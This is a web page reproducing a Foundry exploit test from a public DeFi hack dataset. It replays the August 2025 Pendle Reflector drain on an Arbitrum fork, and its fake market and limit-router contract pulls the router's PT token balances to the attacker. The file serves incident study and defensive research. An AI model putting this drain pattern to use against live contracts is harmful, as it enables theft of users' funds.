Public reproduction file
src/test/2025-08/PendleReflector_exp.sol
Public reproduction file for dataset entry PendleReflector.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 2304.18 USD8// Attacker : 0x6c1d0f1EF9ac1C989cCA02955d0e2b23d134e03A9// Attack Contract : 0xb630D5Ba520Ca38E9137900BDFe2eD8900665D0D10// Vulnerable Contract : 0x5039Da22E5126e7c4e9284376116716A91782faF11// Attack Tx : https://arbiscan.io/tx/0xf6c6a639d644122803ecc655f6debdc5f2333516eedb9d5991088d170e2e36fb12//13// @Info14// Vulnerable Contract Code : https://arbiscan.io/address/0x5039Da22E5126e7c4e9284376116716A91782faF#code15//16// @Analysis17// Twitter Guy : https://t.me/defimon_alerts/159618//19// Attack summary: The attacker called Pendle Reflector with crafted router calldata that used a fake market and a20// fake limit router. Reflector scaled each call to its full PT token balance, approved the real Pendle router, and the21// fake limit router pulled the router's temporary token balance to the attacker.22// Root cause: Reflector.reflect(bytes) trusted caller-supplied Pendle market and limit-router calldata while operating23// on Reflector-held token balances.25address constant ATTACKER = 0x6c1d0f1EF9ac1C989cCA02955d0e2b23d134e03A;26address constant ATTACK_CONTRACT = 0xb630D5Ba520Ca38E9137900BDFe2eD8900665D0D;27address constant REFLECTOR = 0x5039Da22E5126e7c4e9284376116716A91782faF;28address constant PENDLE_ROUTER = 0x888888888889758F76e7103c6CbF23ABbF58F946;29address constant ACTION_SWAP_YT_V3 = 0x4a03Ce0a268951d04E187B1CF48075eE69266e27;30address constant PT_MPENDLE = 0x4a94091CAdD74BDf313B74d58EAc908C5fC53704;31address constant PT_STK_EPENDLE = 0x2A18A490EC18b019837f6153269d21A772167292;33struct ApproxParams {34 uint256 guessMin;35 uint256 guessMax;36 uint256 guessOffchain;37 uint256 maxIteration;38 uint256 eps;39}41struct Order {42 uint256 salt;43 uint256 expiry;44 uint256 nonce;45 uint8 orderType;46 address token;47 address YT;48 address maker;49 address receiver;50 uint256 makingAmount;51 uint256 lnImpliedRate;52 uint256 failSafeRate;53 bytes permit;54}56struct FillOrderParams {57 Order order;58 bytes signature;59 uint256 makingAmount;60}62struct LimitOrderData {63 address limitRouter;64 uint256 epsSkipMarket;65 FillOrderParams[] normalFills;66 FillOrderParams[] flashFills;67 bytes optData;68}70interface IPendleReflector {71 function reflect(72 bytes calldata inputData73 ) external returns (bytes memory result);74}76interface IPendleActionSwapYTV3 {77 function swapExactSyForYt(78 address receiver,79 address market,80 uint256 exactSyIn,81 uint256 minYtOut,82 ApproxParams calldata guessYtOut,83 LimitOrderData calldata limit84 ) external returns (uint256 netYtOut, uint256 netSyFee);85}87interface IPendleLimitRouter {88 function fill(89 FillOrderParams[] calldata params,90 address receiver,91 uint256 maxTaking,92 bytes calldata optData,93 bytes calldata callback94 ) external returns (uint256 actualMaking, uint256 actualTaking, uint256 totalFee, bytes memory ret);95}97contract ContractTest is BaseTestWithBalanceLog {98 FakePendleMarketLimitRouter fakeMarket;100 function setUp() public {101 uint256 forkBlock = 363_776_990;102 vm.createSelectFork("arbitrum", forkBlock);103 vm.label(ATTACKER, "Attacker");104 vm.label(ATTACK_CONTRACT, "Attack Contract");105 vm.label(REFLECTOR, "Pendle Reflector");106 vm.label(PENDLE_ROUTER, "Pendle Router");107 vm.label(ACTION_SWAP_YT_V3, "Pendle ActionSwapYTV3");108 vm.label(PT_MPENDLE, "PT-mPendle-27MAR2025");109 vm.label(PT_STK_EPENDLE, "PT-stk-EPendle-27MAR2025");111 attacker = ATTACKER;112 multiAssetLog = true;113 fundingTokens.push(PT_MPENDLE);114 fundingTokens.push(PT_STK_EPENDLE);116 fakeMarket = new FakePendleMarketLimitRouter(ATTACKER);117 }119 function testExploit() public balanceLog {120 uint256 mPendleVictimBefore = IERC20(PT_MPENDLE).balanceOf(REFLECTOR);121 uint256 stkEPendleVictimBefore = IERC20(PT_STK_EPENDLE).balanceOf(REFLECTOR);122 uint256 mPendleAttackerBefore = IERC20(PT_MPENDLE).balanceOf(ATTACKER);123 uint256 stkEPendleAttackerBefore = IERC20(PT_STK_EPENDLE).balanceOf(ATTACKER);125 // step 1: drain Reflector's PT-mPendle through a fake Pendle market and limit router.126 _reflectAndDrain(PT_MPENDLE, mPendleVictimBefore);128 // step 2: reuse the same fake market path for Reflector's PT-stk-EPendle balance.129 _reflectAndDrain(PT_STK_EPENDLE, stkEPendleVictimBefore);131 assertEq(IERC20(PT_MPENDLE).balanceOf(REFLECTOR), 0, "PT-mPendle left in Reflector");132 assertEq(IERC20(PT_STK_EPENDLE).balanceOf(REFLECTOR), 0, "PT-stk-EPendle left in Reflector");133 assertGe(134 IERC20(PT_MPENDLE).balanceOf(ATTACKER) - mPendleAttackerBefore, mPendleVictimBefore, "PT-mPendle profit"135 );136 assertGe(137 IERC20(PT_STK_EPENDLE).balanceOf(ATTACKER) - stkEPendleAttackerBefore,138 stkEPendleVictimBefore,139 "PT-stk-EPendle profit"140 );141 }143 function _reflectAndDrain(144 address token,145 uint256 amount146 ) internal {147 fakeMarket.settoken(token);148 IPendleReflector(REFLECTOR).reflect(_buildReflectorInput(amount));149 }151 function _buildReflectorInput(152 uint256 exactSyIn153 ) internal view returns (bytes memory) {154 ApproxParams memory guess = ApproxParams({guessMin: 0, guessMax: 0, guessOffchain: 0, maxIteration: 32, eps: 0});155 LimitOrderData memory limit = _fakeLimitOrderData();157 return abi.encodeCall(158 IPendleActionSwapYTV3.swapExactSyForYt, (ATTACK_CONTRACT, address(fakeMarket), exactSyIn, 0, guess, limit)159 );160 }162 function _fakeLimitOrderData() internal view returns (LimitOrderData memory limit) {163 limit.limitRouter = address(fakeMarket);164 limit.epsSkipMarket = 3;165 limit.normalFills = new FillOrderParams[](1);166 limit.flashFills = new FillOrderParams[](0);167 limit.optData = "";168 }169}171contract FakePendleMarketLimitRouter is IPendleLimitRouter {172 address private token;173 address private immutable attacker;175 constructor(176 address attacker_177 ) {178 attacker = attacker_;179 }181 function settoken(182 address token_183 ) external {184 token = token_;185 }187 function readTokens() external view returns (address SY, address PT, address YT) {188 return (token, token, token);189 }191 function fill(192 FillOrderParams[] calldata,193 address,194 uint256 maxTaking,195 bytes calldata,196 bytes calldata197 ) external returns (uint256 actualMaking, uint256 actualTaking, uint256 totalFee, bytes memory ret) {198 uint256 routerBalance = IERC20(token).balanceOf(PENDLE_ROUTER);199 IERC20(token).transferFrom(PENDLE_ROUTER, attacker, routerBalance);200 return (0, maxTaking, 0, "");201 }202}Analysis
Dataset entry
Public Foundry test for “PendleReflector” (2025-08-01). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-08/0x8d2e_exp.solSame month in the dataset · 45 lines
- src/test/2025-08/0xf340_exp.solSame month in the dataset · 72 lines
- src/test/2025-08/ABCCApp_exp.solSame month in the dataset · 111 lines
- src/test/2025-08/ArbitrumBaseSwapper_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/AutoPooledTradingBot_exp.solSame month in the dataset · 140 lines
- src/test/2025-08/BaseBebopSettlement_exp.solSame month in the dataset · 128 lines
- src/test/2025-08/Bebop_dex_exp.solSame month in the dataset · 136 lines
- src/test/2025-08/BeefyZapRouter_exp.solSame month in the dataset · 131 lines
- src/test/2025-08/BscInitcodeToken_exp.solSame month in the dataset · 186 lines
- src/test/2025-08/coinbase_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/d3xai_exp.solSame month in the dataset · 221 lines
- src/test/2025-08/EquilibriaEPendle_exp.solSame month in the dataset · 209 lines
- src/test/2025-08/Grizzifi_exp.solSame month in the dataset · 101 lines
- src/test/2025-08/Hexotic_exp.solSame month in the dataset · 62 lines
- src/test/2025-08/MulticallWithXera_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/MyCoinMaster_exp.solSame month in the dataset · 74 lines
- src/test/2025-08/PDZ_exp.solSame month in the dataset · 85 lines
- src/test/2025-08/PresaleV5_exp.solSame month in the dataset · 261 lines
- src/test/2025-08/SizeCredit_exp.solSame month in the dataset · 176 lines
- src/test/2025-08/SizeFlashLoanLooping_exp.solSame month in the dataset · 196 lines
- src/test/2025-08/unverified_d132_exp.solSame month in the dataset · 207 lines
- src/test/2025-08/unverified_6f7a_exp.solSame month in the dataset · 229 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x6c1d0f1ef9ac1c989cca02955d0e2b23d134e03a
- Attack Contract
0xb630d5ba520ca38e9137900bdfe2ed8900665d0d
- Vulnerable Contract
0x5039da22e5126e7c4e9284376116716a91782faf
- Attack Tx
0xf6c6a639d644122803ecc655f6debdc5f2333516eedb9d5991088d170e2e36fb
File record
- Name
- PendleReflector
- Path
- src/test/2025-08/PendleReflector_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 8563f6c5acaa7a38be49d1f7683a40fc0c6fd909
- Language
- Solidity
- Size
- 203 lines
- Date
- 2025-08-01
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-08/PendleReflector_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8563f6c5acaa7a38be49d1f7683a40fc0c6fd909, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.